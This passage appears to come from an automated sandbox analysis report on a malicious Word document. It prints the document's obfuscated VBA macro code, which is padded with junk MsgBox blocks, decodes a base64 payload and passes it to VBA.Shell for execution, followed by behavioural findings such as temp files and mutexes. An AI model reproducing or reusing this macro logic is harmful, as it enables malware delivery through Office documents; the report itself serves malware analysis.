MsgBox "DkrtE", 24, "KLB0Z5"
End If
If Len(tktQqN) < 208 Then
' ssQTOoH
Else
' fake
MsgBox "qWv7sUY", 24, "PafmJS"
End If
If Len(nCWXZL4Ut) < 234 Then
' MV3HOq
Else
' fake
MsgBox "rfBNH", 15, "h5Nv8b"
End If
If Len(AOgSr) < 234 Then
' Mjmtp
Else
' fake
MsgBox "jXTNiU", 15, "utxnLOS9"
End If
If Len(OEy7C) < 213 Then
' nhV0bjJ
Else
' fake
MsgBox "y5SXOcCt", 16, "QB4KrwzRN"
End If
If Len(sSyheBAU) < 213 Then
' L3A5d82
Else
' fake
MsgBox "hHSQ7vZFm", 16, "bE3D0r7"
End If
If Len(v8QvNifSK) < 213 Then
' qy3H6W
Else
' fake
MsgBox "VuE9PUS", 16, "BFnkjSq"
End If
If Len(nes9SyGC) < 223 Then
' Of5labWH
Else
' fake
MsgBox "IIwqxvZkG", 1, "dSAFiH"
End If
If Len(ithmT8Ex) < 223 Then
' OukOfp
Else
' fake
MsgBox "g6SUCF", 1, "ZYloWN"
End If
If Len(Cgj1a) < 181 Then
' nVTDHSc3
Else
' fake
MsgBox "jrdceX4ZW", 44, "z9taXhD1"
End If
If Len(bqzJyuMk) < 181 Then
' hpz0eTk
Else
' fake
MsgBox "FbeEDXPJW", 44, "a6nreuht"
End If
If Len(isifu) < 181 Then
' DM69mabL4
Else
' fake
MsgBox "l3XuzjVa", 44, "A3vPa"
End If
If Len(TnqKgSQ) < 155 Then
' TWU0KV
Else
' fake
MsgBox "PgsMfqWyD", 56, "ayAH716s"
End If
If Len(A6dOb) < 155 Then
' dnX4WTOpx
Else
' fake
MsgBox "YAw9uxyQG", 56, "MTJDvhGYH"
End If
If Len(GXnSb) < 166 Then
' d2NmU7i6
Else
' fake
MsgBox "ytvUkX3Ba", 61, "g4PsJkfVA"
End If
If Len(A9AfZeYU) < 166 Then
' wYBSHvzy7
Else
' fake
MsgBox "qEJzsN8", 61, "J4F7EMUGR"
End If
If Len(kjKxhg) < 166 Then
' aQ6Tu4Sw
Else
' fake
MsgBox "Ir4KxJiT", 61, "Cpb4QU"
End If
If Len(wuQkmWXE) < 166 Then
' tPfDA
Else
' fake
MsgBox "YWpylb", 61, "WHKgr38Tc"
End If
If Len(AiQqWF) < 201 Then
' S7lFvtIkc
Else
' fake
MsgBox "OhwrIPf", 62, "Pfe5J"
End If
If Len(Mji9VCl) < 201 Then
' edPbLi
Else
' fake
MsgBox "UipCx", 62, "u3wpM"
End If
If Len(CNUivYxS) < 251 Then
' Wln1qFy
Else
' fake
MsgBox "ICvdx5", 59, "JVcFq4"
End If
If Len(lu3zCP01) < 251 Then
' YhkbJ0
Else
' fake
MsgBox "DxoSn0F7B", 59, "rar0MEfP"
End If
With csfSDlrN
If Len(RIkvxt) < 131 Then
' U9SpqCLx
Else
' fake
MsgBox "dA3BGS", 21, "LIwBLG7t"
End If
If Len(ErLNxFUX) < 131 Then
' Qq0KP
Else
' fake
MsgBox "HAMgXb", 21, "Urc2Bh8"
End If
If Len(u8gwGbX9) < 131 Then
' JB7HbIqp
Else
' fake
MsgBox "Oyt1XD", 21, "BB5fElL"
End If
If Len(csyPAM7m) < 239 Then
' OE8jluiM
Else
' fake
MsgBox "ekjIJK", 62, "seOgFoD"
End If
If Len(anfz7) < 239 Then
' oCd8GH
Else
' fake
MsgBox "h2ygTqi", 62, "F6R1N"
End If
.dataType = _
"bin.base64"
If Len(ZftaXsg) < 163 Then
' LsGH29
Else
' fake
MsgBox "kYa16Uli", 55, "gLsmlYia"
End If
If Len(vIzQdH8lt) < 163 Then
' d98dR4k6
Else
' fake
MsgBox "VzZFB", 55, "CKyq52i7W"
End If
If Len(E3HhqN) < 163 Then
' fcYCJ8T1
Else
' fake
MsgBox "er8By", 55, "oRE4p9X"
End If
If Len(I9LV2n7R) < 163 Then
' fzi15
Else
' fake
MsgBox "L7IX1", 55, "SUTZl9"
End If
If Len(blpajco) < 157 Then
' umybWAfZ
Else
' fake
MsgBox "xlWqs", 63, "adoYUv4ZN"
End If
If Len(X8l9c4) < 157 Then
' cPbTeF
Else
' fake
MsgBox "bJ1u7l6", 63, "UOGJrblW"
End If
If Len(fySfk6KAz) < 143 Then
' Cp7Ys4n
Else
' fake
MsgBox "QPNphY", 37, "TnEzPDhWQ"
End If
If Len(F4oMQ6G) < 143 Then
' lms0cMy
Else
' fake
MsgBox "EdvZPnpl", 37, "b7KlzTr8"
End If
If Len(UxpgvSNc) < 143 Then
' RpQJM
Else
' fake
MsgBox "gOUIhVB5", 37, "ePpR9"
End If
If Len(OET0M) < 143 Then
' B9ihp0
Else
' fake
MsgBox "ZBIR7KZzW", 37, "MOjI52Mt"
End If
.text = prcZ9
If Len(mNVjQmJgl) < 181 Then
' P2tmR
Else
' fake
MsgBox "jUk6mqEY", 0, "MoMtOsc"
End If
If Len(RcgGS) < 181 Then
' xEvOS1cAt
Else
' fake
MsgBox "VXIw7f", 0, "pAwCr"
End If
If Len(f3KPRQ) < 181 Then
' IrMVf5
Else
' fake
MsgBox "iI86sRU", 0, "kinLl1G49"
End If
If Len(zOy2mXYF) < 181 Then
' UhqoECT
Else
' fake
MsgBox "Ngh2TDw", 0, "ThIZB"
End If
If Len(OgYwxakW) < 173 Then
' vyeal
Else
' fake
MsgBox "ZXyhU", 62, "Kt1U4pq"
End If
If Len(u86ZnD) < 173 Then
' NJ36Nsm
Else
' fake
MsgBox "Kqelmz", 62, "pNqdg"
End If
If Len(lewcKg5) < 173 Then
' bcqzbei5N
Else
' fake
MsgBox "MGZiSr", 62, "uPBSGx"
End If
If Len(tUukGIPJ) < 180 Then
' NBIbPQ
Else
' fake
MsgBox "OlGOU", 33, "lL6oz4T"
End If
If Len(j5aAgJ) < 180 Then
' Xa7CdxpmO
Else
' fake
MsgBox "nPVMH", 33, "OFCxfnSM"
End If
If Len(cb9kmfa) < 180 Then
' kueCA28
Else
' fake
MsgBox "nDHor3Gv", 33, "fwAVj3"
End If
If Len(QOKnhUmYH) < 241 Then
' CuXhL
Else
' fake
MsgBox "ANonmv", 48, "IeYOgyLvr"
End If
If Len(oXpVu) < 241 Then
' F5shXZqj
Else
' fake
MsgBox "cX2UpL0E", 48, "xXUZEYT"
End If
If Len(aZTQzpg) < 241 Then
' lMnr8Nw
Else
' fake
MsgBox "TQjYvENV", 48, "cA7UZ"
End If
A7TIiUm _
= csfSDlrN _
.nodeTypedValue
If Len(x08zMHYI) < 153 Then
' WvpL4YQ
Else
' fake
MsgBox "I7aednM", 57, "kVa5iXzn1"
End If
If Len(JhSdbR) < 153 Then
' mFkEXCmq
Else
' fake
MsgBox "GMBTEnPfH", 57, "RvVed6r"
End If
If Len(k7Ir2JX) < 245 Then
' K5cX2n
Else
' fake
MsgBox "UmaW34", 25, "C2p6Ld1Bl"
End If
If Len(NRPkzmVq8) < 245 Then
' xQEujIvp
Else
' fake
MsgBox "s0yYhIdG", 25, "OKN5tT"
End If
If Len(j8nEj) < 245 Then
' FElTm0f
Else
' fake
MsgBox "o62GBfU5", 25, "Qb20j"
End If
If Len(PhM1aSOH) < 245 Then
' icHDZ0
Else
' fake
MsgBox "Qv0ZYltif", 25, "uoLyke"
End If
If Len(HKu17JP4V) < 147 Then
' QnO8Qk
Else
' fake
MsgBox "s7LyaUR", 1, "bGqT53n8A"
End If
If Len(ROrHw) < 147 Then
' gpjkgiE
Else
' fake
MsgBox "n1fRpMz", 1, "Ki36Wre15"
End If
If Len(hHVWpQiqN) < 147 Then
' YwmKM
Else
' fake
MsgBox "V0wMD", 1, "JDtuTAZ"
End If
If Len(CMA8BGoih) < 243 Then
' W2Yiv
Else
' fake
MsgBox "hWCVnpiXk", 36, "gtzq3Pr"
End If
If Len(wlt0fuFp) < 243 Then
' MRUA6z
Else
' fake
MsgBox "E7pno", 36, "zzBW8cf"
End If
If Len(PzlYngpk) < 243 Then
' sbXsAokif
Else
' fake
MsgBox "puW8xfQ", 36, "P2Q4RUGC"
End If
If Len(nGuQS6YJa) < 223 Then
' uYKwOnT2
Else
' fake
MsgBox "QL2PnpJ", 7, "w4kQZ"
End If
If Len(qDqbP8sj) < 223 Then
' Ar5PW7
Else
' fake
MsgBox "uiYKDlJ", 7, "YN4ms"
End If
If Len(Va9XgA5) < 223 Then
' y641lEJr
Else
' fake
MsgBox "fH3lEh", 7, "CmUlPF0kf"
End If
If Len(meMEr) < 178 Then
' aKil0
Else
' fake
MsgBox "oPUGrjCJq", 33, "mrt0Xo"
End If
If Len(PshAO) < 178 Then
' Yr4OYw7
Else
' fake
MsgBox "t0L9Gh", 33, "mWPTUny8"
End If
If Len(NpXAqFi) < 178 Then
' bSJBkC7LG
Else
' fake
MsgBox "tgudLtH", 33, "DUi3B"
End If
End With
If Len(DtqjK) < 197 Then
' u5gNA3uoL
Else
' fake
MsgBox "XXKjIgm", 9, "MWhuF"
End If
If Len(oeNhkOw2) < 197 Then
' d9hnQfJGb
Else
' fake
MsgBox "XAH3UDIx", 9, "y7FPa"
End If
If Len(JkUFqC3) < 197 Then
' NjSZw
Else
' fake
MsgBox "m2y736", 9, "EvCVgEjd9"
End If
If Len(qBY9q08d) < 197 Then
' cWqpksZE
Else
' fake
MsgBox "P5GY3J9V", 9, "zpr15o"
End If
If Len(TioERGh) < 146 Then
' y6ctC
Else
' fake
MsgBox "hgjCR", 38, "HsEjQlVS"
End If
If Len(AgK63C) < 146 Then
' ZTuLfmt0
Else
' fake
MsgBox "tznWwvc1", 38, "SRbgk4iwJ"
End If
If Len(Xl1pKb) < 146 Then
' gf2ohb
Else
' fake
MsgBox "Q1D8OBmW", 38, "xhpJcBvZN"
End If
If Len(pUL3z2) < 146 Then
' TwFUrRTAV
Else
' fake
MsgBox "eeGnvSi", 12, "p6FjxvaoY"
End If
If Len(PReklZTW) < 146 Then
' JcsmLFtP
Else
' fake
MsgBox "snWqf0hxk", 12, "HBzLu"
End If
If Len(aj04cF) < 141 Then
' SY1KOT2
Else
' fake
MsgBox "my2FUgc", 35, "CMzLkgQOZ"
End If
If Len(ZVfcRrW) < 141 Then
' v06idM
Else
' fake
MsgBox "cVInxrw", 35, "Ui3Zzq0Dp"
End If
If Len(xZnKJq9h) < 141 Then
' rcO8L
Else
' fake
MsgBox "Q3KrneVxB", 35, "IFihGag"
End If
If Len(ZpqxNk5e) < 141 Then
' G5AtFf3LO
Else
' fake
MsgBox "Jzo4Ht", 35, "gsoVWb"
End If
If Len(AuO5hG8zY) < 138 Then
' btk0pUYVQ
Else
' fake
MsgBox "GqEx5utd", 38, "KW6P7"
End If
If Len(iEJxgcqn) < 138 Then
' dKopwt6
Else
' fake
MsgBox "z14cRFZy", 38, "DO4Dct"
End If
If Len(bRwZqopE) < 138 Then
' SR6YGMmJ
Else
' fake
MsgBox "X6IQmbv", 38, "GI6zEs"
End If
If Len(fpcu7a) < 138 Then
' QUgCy
Else
' fake
MsgBox "T2L8D", 38, "HGjLdp25"
End If
If Len(DDNvH) < 238 Then
' gWLPfGTR
Else
' fake
MsgBox "zKYsip2e", 24, "NywAcPF"
End If
If Len(RJockEr) < 238 Then
' Fwchx
Else
' fake
MsgBox "Yq4HO", 24, "QYWNM2zx"
End If
If Len(NgHeQin9) < 238 Then
' X6s5juq7y
Else
' fake
MsgBox "TAtvNEg", 24, "U0EF5px"
End If
If Len(VXsrEKlV2) < 221 Then
' lhH1gr
Else
' fake
MsgBox "sM5lbkpne", 42, "bcn2X4vJa"
End If
If Len(HBkhYeCQ) < 221 Then
' WnkBKS
Else
' fake
MsgBox "fHLtgBc", 42, "wKLHn"
End If
If Len(ywAE0q7MB) < 221 Then
' hhJ0t27
Else
' fake
MsgBox "EvhibOc", 42, "TEA7r"
End If
If Len(RlMA3KQ1E) < 167 Then
' fbBIOQfXH
Else
' fake
MsgBox "WDyZtCa", 2, "GS6an5w"
End If
If Len(hV1r5E0) < 167 Then
' y9Z4Y
Else
' fake
MsgBox "B6DTU", 2, "LMraA"
End If
If Len(ECpaAI) < 137 Then
' PSKBaJuXq
Else
' fake
MsgBox "G4FyQPn", 59, "qMbia6CNq"
End If
If Len(QndyQgh) < 137 Then
' wLys0N8q
Else
' fake
MsgBox "rDUrtqXNx", 59, "lBf8cDiV"
End If
If Len(urXij8w) < 137 Then
' dQOYRb
Else
' fake
MsgBox "b9wRyQp", 59, "MO2eWz"
End If
If Len(rZNcuIl4) < 128 Then
' z7IaN8zV9
Else
' fake
MsgBox "aVR9MG65", 29, "G1fDJp"
End If
If Len(zF7JHojSc) < 128 Then
' vml6qdb
Else
' fake
MsgBox "BvDqmfPk", 29, "DnC4uq"
End If
If Len(LLtAGw76Z) < 128 Then
' L2gSubQ
Else
' fake
MsgBox "A7J1T", 29, "u1GknbW"
End If
If Len(mkl8rP) < 162 Then
' HcU5pHAQo
Else
' fake
MsgBox "k3wWtM9Dk", 16, "abXvutDB"
End If
If Len(MnhLO9J) < 162 Then
' ZMYXUN9TA
Else
' fake
MsgBox "Xw80kf", 16, "OtH0d"
End If
If Len(fdgucWOKI) < 162 Then
' MKS6AN
Else
' fake
MsgBox "k9GFQJ", 16, "Ujamsd0"
End If
If Len(zmzCL0) < 210 Then
' QpSseigm3
Else
' fake
MsgBox "aBnOgcl1j", 59, "Te0oGKr"
End If
If Len(FbkAf) < 210 Then
' qvq2xoU
Else
' fake
MsgBox "cPodnhb6", 59, "dhSs4P7DX"
End If
If Len(PFHmUEqJ2) < 210 Then
' BAmM1N
Else
' fake
MsgBox "QGis0j", 59, "UusRBJ"
End If
If Len(u1E9LwUm) < 249 Then
' ASKt1ox7y
Else
' fake
MsgBox "saqFDRwLX", 54, "QZCmu"
End If
If Len(bC4Onr) < 249 Then
' dCIG3OS
Else
' fake
MsgBox "WdcYtj", 54, "MVnOWwHr"
End If
If Len(mk8md) < 249 Then
' jd7vmGQh
Else
' fake
MsgBox "znhO0", 54, "ZSHFPgXN"
End If
If Len(TdbivAmkc) < 235 Then
' WUtZkJzc
Else
' fake
MsgBox "qr0tMEkKV", 48, "JmabAqN"
End If
If Len(qKOasr3X) < 235 Then
' rytv5
Else
' fake
MsgBox "TLGQDSsV", 48, "weFzgin"
End If
If Len(bC195Xhm) < 235 Then
' uoiHa
Else
' fake
MsgBox "YsN9wS", 48, "UcqCJ7"
End If
If Len(yPBDfAnHV) < 207 Then
' tZkLMQnB6
Else
' fake
MsgBox "aIBpO", 9, "URlIo8S"
End If
If Len(wbsG06o) < 207 Then
' zfNESz
Else
' fake
MsgBox "dtH1Us", 9, "DTmXgOJa"
End If
If Len(Obwe4GrY) < 166 Then
' vAeUN8
Else
' fake
MsgBox "HxuAW", 0, "FVD2FQzE"
End If
If Len(GfL3vT6On) < 166 Then
' mYqhdPawe
Else
' fake
MsgBox "gzU8EB", 0, "q8kH5W7"
End If
If Len(b82eMNoHF) < 166 Then
' fthGoyf
Else
' fake
MsgBox "VODeJlm", 0, "NPU9bYTz"
End If
End Function"
File "Ufv7UG.bas" (Streampath: "Macros/VBA/Ufv7UG") has code: "Public Const eflBu = "BASE64"
Public Sub de7qbEOg(fcGQISLu, Ri5CG)
If Len(NRO0Va4) < 130 Then
' Cxm6ypBR
Else
' fake
MsgBox "DYtMqb", 39, "hvetbz"
End If
If Len(nYMJ2AKw8) < 130 Then
' Lh0Dd4yB
Else
' fake
MsgBox "LXUlyu8r4", 39, "VqDKC"
End If
If Len(GSBZmc7rG) < 207 Then
' htxoCp9c
Else
' fake
MsgBox "Mj1REat", 15, "FLf5HQ"
End If
If Len(al27hd4s) < 207 Then
' n0gmTHp
Else
' fake
MsgBox "IE4n1S", 15, "t0Fl6"
End If
If Len(gEWP6) < 207 Then
' Yxh5SpWG
Else
' fake
MsgBox "UjRIynsm", 15, "TJAtE64x3"
End If
If Len(TCyz8BT3) < 204 Then
' BZpKYtFUw
Else
' fake
MsgBox "ethkOF7", 63, "fJPe8oTH"
End If
If Len(jn1LI) < 204 Then
' meV3phC8i
Else
' fake
MsgBox "GQmTHs0", 63, "HjLb3Kl"
End If
If Len(XQ5IxD3Up) < 204 Then
' qdQft3M79
Else
' fake
MsgBox "VY8so01", 63, "InZyT6k1"
End If
If Len(jol2DVX) < 138 Then
' rvhZz34
Else
' fake
MsgBox "hHULf", 53, "oCBY5cFvJ"
End If
If Len(UpNMj4cza) < 138 Then
' YrMEyZ
Else
' fake
MsgBox "sWRZB7UTu", 53, "ffl90u7"
End If
Dim cCwulG As String
If Len(pLUN5pvn) < 188 Then
' A8VnTW1Z7
Else
' fake
MsgBox "EVHPuGZT", 30, "Q7CSxA"
End If
If Len(X97OJ) < 188 Then
' HoOzA
Else
' fake
MsgBox "jeOuB2zU", 30, "qnuB01"
End If
If Len(cd8ZMx) < 188 Then
' pDn9NKcyk
Else
' fake
MsgBox "gi3GAvd", 30, "zNiWFs"
End If
If Len(DqSD1e3) < 188 Then
' fXREf
Else
' fake
MsgBox "KqYguWkm", 30, "zWH8TKPQ0"
End If
If Len(AchnZt5s4) < 241 Then
' IlpXU
Else
' fake
MsgBox "Z8P7kVEyb", 56, "DPy04W"
End If
If Len(gw7pgAZ) < 241 Then
' WjdcO
Else
' fake
MsgBox "oIbpn5", 56, "R4dOsnU"
End If
If Len(WhKuaOPqy) < 241 Then
' Ux6Eq4
Else
' fake
MsgBox "X5t7Q", 56, "EpYfsuB"
End If
If Len(cWNwB) < 146 Then
' MrLgB5J
Else
' fake
MsgBox "Br9Cgq7uv", 45, "lWJyYBKc"
End If
If Len(MbfqF) < 146 Then
' laqOIcP
Else
' fake
MsgBox "dExG7v1Ri", 45, "UUEnOjIN"
End If
If Len(nmohc) < 155 Then
' zzZ9Rq4wD
Else
' fake
MsgBox "hCbVvMU", 36, "QJyuN"
End If
If Len(BtHjIJV) < 155 Then
' fTRIkX
Else
' fake
MsgBox "qpCVi", 36, "js0jYn"
End If
If Len(b7hm56) < 155 Then
' g6stT3Mg
Else
' fake
MsgBox "PmLan7yv", 36, "EwSslNX"
End If
If Len(WxSwbU0ng) < 140 Then
' TPi68L
Else
' fake
MsgBox "qSdJ6n5", 11, "vbDRn1lP"
End If
If Len(VQBu5) < 140 Then
' hZ3y9h8U
Else
' fake
MsgBox "n56mN", 11, "wyOqQARS"
End If
If Len(z51i0awR8) < 210 Then
' gZTKDrc
Else
' fake
MsgBox "S2kFbmXE", 63, "oc2qz"
End If
If Len(syang) < 210 Then
' sJjRxI
Else
' fake
MsgBox "V8Gnb5tq", 63, "VcBMa8W70"
End If
If Len(N2hOxtzdp) < 210 Then
' LFBSA62y
Else
' fake
MsgBox "etxsyqWE", 63, "hPQ7Hxqw"
End If
If Len(YQRVxsJkW) < 210 Then
' JTF9GCpNZ
Else
' fake
MsgBox "rB4Rj3Ff", 63, "N6C7uia"
End If
cCwulG = StrConv _
(fcGQISLu, _
-427 + 491)
If Len(PhjIP) < 204 Then
' evRMnI6Hx
Else
' fake
MsgBox "ZQsWB2NZb", 10, "hMym9JuCo"
End If
If Len(Pvw1YpUP) < 204 Then
' wHJG4
Else
' fake
MsgBox "JERWafGg", 10, "u1Khe4Nj"
End If
If Len(qfgSCdZU) < 204 Then
' My3SfbNCM
Else
' fake
MsgBox "GauiXxYVh", 10, "f6tDZP72"
End If
If Len(w7VGbOBNP) < 204 Then
' zMfVH
Else
' fake
MsgBox "gJyaubFeH", 10, "kGtiRz6v"
End If
If Len(qHNiY) < 163 Then
' Bjv4JgxlA
Else
' fake
MsgBox "ySDFTocLx", 35, "UmETqY"
End If
If Len(W63AvVYU) < 163 Then
' LNxb3jY
Else
' fake
MsgBox "ukdGS", 35, "PlkY0T8A"
End If
If Len(h3EG0Ze) < 163 Then
' iHkCqsuQ
Else
' fake
MsgBox "EtreOL", 35, "AXIhjKC"
End If
If Len(lrHmh46s) < 140 Then
' XzindQ2Br
Else
' fake
MsgBox "IDPje", 27, "QvmHr96"
End If
If Len(buxbWlSyR) < 140 Then
' XR2Nmbc
Else
' fake
MsgBox "NhPuBr7", 27, "CR5mO3"
End If
If Len(VJ36vB) < 140 Then
' KkjJy
Else
' fake
MsgBox "p4DvzQS", 27, "WxVZ9aq"
End If
If Len(pjhar7D) < 210 Then
' G3Ro216WL
Else
' fake
MsgBox "S6GMh", 14, "t4z5nMu"
End If
If Len(IazBkWj) < 210 Then
' PitNF
Else
' fake
MsgBox "O7WK4n", 14, "RB125kvmC"
End If
If Len(R5XDIfM) < 210 Then
' QYq4uXhbU
Else
' fake
MsgBox "Vjmp7t8", 14, "cp4MK"
End If
If Len(VYM04Zge) < 219 Then
' djaSG
Else
' fake
MsgBox "q1f0qCpE", 50, "hiIHpN"
End If
If Len(K8KJBMQZ3) < 219 Then
' zUNgPsq
Else
' fake
MsgBox "gcAoiHG7j", 50, "d4Uvh5sf"
End If
If Len(IdLryR) < 219 Then
' neuwL90
Else
' fake
MsgBox "hjbkV", 50, "BKQimPe2"
End If
If Len(ophN8) < 219 Then
' MMLcD
Else
' fake
MsgBox "VZymHnNwj", 50, "lnSUlqC26"
End If
If Len(VW0kh) < 178 Then
' DDy2Hs
Else
' fake
MsgBox "GjlhPx", 38, "CKb98a"
End If
If Len(nBRLw) < 178 Then
' uUbHd
Else
' fake
MsgBox "Tpx0937h", 38, "rUfBh5byu"
End If
If Len(mDfIxqyl) < 178 Then
' aPs2I
Else
' fake
MsgBox "kopVl8d", 38, "f4WmOIc"
End If
If Len(cCdjUFDJR) < 178 Then
' VCms6
Else
' fake
MsgBox "dJWXqHeUE", 38, "dPi1cQM"
End If
If Len(CXaqsAVm) < 165 Then
' LFn4q
Else
' fake
MsgBox "m8EetH", 49, "JuBNor"
End If
If Len(BBpmrR9k) < 165 Then
' p9gjZyB
Else
' fake
MsgBox "bYvImw", 49, "Uy2uQtw"
End If
If Len(JMfa6udgT) < 165 Then
' HLYbC
Else
' fake
MsgBox "v4A30Jj", 49, "LLc2y"
End If
If Len(YVqjg6fE) < 253 Then
' HXwDT
Else
' fake
MsgBox "PSM72", 19, "h3mQo"
End If
If Len(Jkts1wB3S) < 253 Then
' jrKMD
Else
' fake
MsgBox "t6kYxU7", 19, "nlUg8rRQI"
End If
If Len(pDEr4pi6) < 253 Then
' QtPweZxaX
Else
' fake
MsgBox "tZXRcg", 19, "LRExe5"
End If
If Len(fHRkT) < 189 Then
' eYdukm
Else
' fake
MsgBox "FYk6qzs5", 15, "KpMQTw"
End If
If Len(BtX8d2S) < 189 Then
' zbuKhVs
Else
' fake
MsgBox "qcU5wS", 15, "z3BRsK02o"
End If
If Len(wdaUs8) < 189 Then
' TzUP3H
Else
' fake
MsgBox "P8gGok", 15, "RWELQb7g"
End If
If Len(ljeOYLA) < 189 Then
' iZvYI28
Else
' fake
MsgBox "fby2jtv", 15, "DuGhMpJ"
End If
If Len(zbeIcwkdV) < 234 Then
' oIw1oO
Else
' fake
MsgBox "ocGLhvO", 44, "KJfKcUd"
End If
If Len(j8FWPmrtZ) < 234 Then
' lWKIYkxh
Else
' fake
MsgBox "wlqbJgQd", 44, "H0FCEt"
End If
If Len(UUKvzhExO) < 199 Then
' v9hXKY5
Else
' fake
MsgBox "VYVIF", 14, "mEBneI"
End If
If Len(g1OvtU) < 199 Then
' OxhT4Y58
Else
' fake
MsgBox "wL27os", 14, "ZQ5H4y"
End If
If Len(MgPsKLy) < 213 Then
' Zkts6dOwj
Else
' fake
MsgBox "XAcn2SBEo", 27, "cHGFt5MT"
End If
If Len(G6Zau2) < 213 Then
' bI3MKsQ
Else
' fake
MsgBox "oc1jSvk", 27, "HIBfg"
End If
If Len(TpGL5y) < 213 Then
' Ec7QsJL
Else
' fake
MsgBox "Osp29q", 27, "IEKb5"
End If
If Len(pOjSQr2) < 199 Then
' cHglGXfE
Else
' fake
MsgBox "ed4gJw", 39, "fTyU6vm"
End If
If Len(zSagF) < 199 Then
' hphr2XK
Else
' fake
MsgBox "RkSKa8W2", 39, "znDw0YUt"
End If
If Len(OMPgOEDl) < 223 Then
' hWX49qIJa
Else
' fake
MsgBox "C7hrqJRe", 55, "o14xvDEq"
End If
If Len(V3ziJohb) < 223 Then
' SwmES56ln
Else
' fake
MsgBox "cwfhbWQSo", 55, "mmEjCn"
End If
If Len(nC6U5) < 132 Then
' xCa8DAm
Else
' fake
MsgBox "D2hRs", 3, "AWm5YIt"
End If
If Len(qxz6d9) < 132 Then
' tnrCg
Else
' fake
MsgBox "j29C4", 3, "qn0Bhz"
End If
If Len(nfKuR) < 132 Then
' hRIOYu
Else
' fake
MsgBox "gE6Pop", 3, "u83Ktku"
End If
If Len(f7XBSP) < 132 Then
' EVI12su
Else
' fake
MsgBox "AUcfFq97", 3, "MeA5RdS"
End If
If Len(fcGQISLu) > 0 And Ri5CG <> 1935081472 / 29527 Then
If Len(BecEx) < 155 Then
' Mdc1k
Else
' fake
MsgBox "HHrKFm", 40, "pWURX"
End If
If Len(rinQ5tc9) < 155 Then
' ft72XUHK
Else
' fake
MsgBox "vVLP4m", 40, "TWljx1w"
End If
If Len(R91MJgr) < 155 Then
' HJAfGel
Else
' fake
MsgBox "q9Pm3rO", 40, "dybowJ6"
End If
If Len(yFebo) < 155 Then
' Dy4OF3
Else
' fake
MsgBox "tuFt5Lx", 40, "j4rO2C3UM"
End If
If Len(EdzhLtA) < 208 Then
' FizlBfvNg
Else
' fake
MsgBox "Dedbcq", 8, "d7xA0HK"
End If
If Len(SmzwY) < 208 Then
' yWieuNy
Else
' fake
MsgBox "m3NFBv", 8, "sptEU41v"
End If
If Len(pt30gXUkf) < 208 Then
' aOpRZlaCn
Else
' fake
MsgBox "P2FHdxj", 8, "GizYhAJo"
End If
If Len(yFXgUtz8y) < 208 Then
' RaivVgeLX
Else
' fake
MsgBox "yjy9IKBO", 8, "UslLWz1NS"
End If
Call VBA.Shell(cCwulG, Ri5CG)
If Len(Kqkw1m6r) < 250 Then
' HhjLC
Else
' fake
MsgBox "xWjuJ", 60, "o1EoMpI"
End If
If Len(SS6XN) < 250 Then
' l3Fag
Else
' fake
MsgBox "b3jkS2", 60, "w8rLz4v"
End If
If Len(Q5u4Ux) < 192 Then
' Qyso9z
Else
' fake
MsgBox "cCIJjM", 35, "NFYAyN4"
End If
If Len(OxZfK7) < 192 Then
' ybeBadV
Else
' fake
MsgBox "pVPo6IW", 35, "Rd6G2oKq"
End If
End If
If Len(wldVQ) < 215 Then
' O08tr4P
Else
' fake
MsgBox "WueF3OL", 32, "VdfPe0"
End If
If Len(BVQPXsHIt) < 215 Then
' psc8p
Else
' fake
MsgBox "atzR0", 32, "koMmzE"
End If
If Len(VEJN6v) < 215 Then
' nMiZlzI7A
Else
' fake
MsgBox "MkdpMGi5", 32, "f7HL5"
End If
If Len(EEHcFwPYZ) < 215 Then
' gIdkrDcV
Else
' fake
MsgBox "uEC0mLyt", 46, "cVjvR"
End If
If Len(olWG6zj) < 215 Then
' hkAie9C
Else
' fake
MsgBox "R2k7miHK", 46, "KZoVYQ"
End If
If Len(G1to9Xk) < 215 Then
' IVFEoqW
Else
' fake
MsgBox "NT3Ih", 46, "ebj7lDB"
End If
If Len(Yq5tBkzg) < 215 Then
' qA7gswj
Else
' fake
MsgBox "oaACK4Zv", 46, "qB3k4lYsh"
End If
If Len(Ia2wCxB9) < 220 Then
' HsPbtDoc
Else
' fake
MsgBox "hASKBdDG", 49, "vEGKH0"
End If
If Len(uvWAink) < 220 Then
' DJtgWzkeH
Else
' fake
MsgBox "WDZOhuC", 49, "xCL8B"
End If
If Len(nvKPr4m3w) < 220 Then
' sZk2OewC
Else
' fake
MsgBox "vdW6i7Q", 49, "vUfMC5g"
End If
If Len(wHo98urKA) < 220 Then
' ovEZbuW9o
Else
' fake
MsgBox "umJr4", 49, "nIfeNxL"
End If
End Sub" - source
- Static Parser
- relevance
- 10/10
-
Creates a writable file in a temporary directory
- details
- "WINWORD.EXE" created file "%TEMP%\~DF74F6980BD2613829.TMP"
- source
- API Call
- relevance
- 1/10
-
Creates mutants
- details
-
"\Sessions\1\BaseNamedObjects\Local\10MU_ACBPIDS_S-1-5-5-0-59722"
"\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906"
"\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex"
"\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex"
"\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"
"\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex"
"\Sessions\1\BaseNamedObjects\Global\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000"
"\Sessions\1\BaseNamedObjects\Global\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000"
"\Sessions\1\BaseNamedObjects\Local\10MU_ACB10_S-1-5-5-0-59722"
"\Sessions\1\BaseNamedObjects\Global\MsoShellExtRegAccess_S-1-5-21-4162757579-3804539371-4239455898-1000"
"Local\10MU_ACBPIDS_S-1-5-5-0-59722"
"Global\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000"
"Local\10MU_ACB10_S-1-5-5-0-59722"
"Local\ZonesCounterMutex"
"Local\ZonesLockedCacheCounterMutex"
"Global\MsoShellExtRegAccess_S-1-5-21-4162757579-3804539371-4239455898-1000"
"Global\552FFA80-3393-423d-8671-7BA046BB5906"
"Local\ZoneAttributeCacheCounterMutex"
"Local\ZonesCacheCounterMutex"
"Global\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000" - source
- Created Mutant
- relevance
- 3/10
-
Drops files marked as clean
- details
- Antivirus vendors marked dropped file "~WRD0000.tmp" as clean (type is "Composite Document File V2 Document Cannot read section info")
- source
- Binary File
- relevance
- 10/10
-
Loads rich edit control libraries
- details
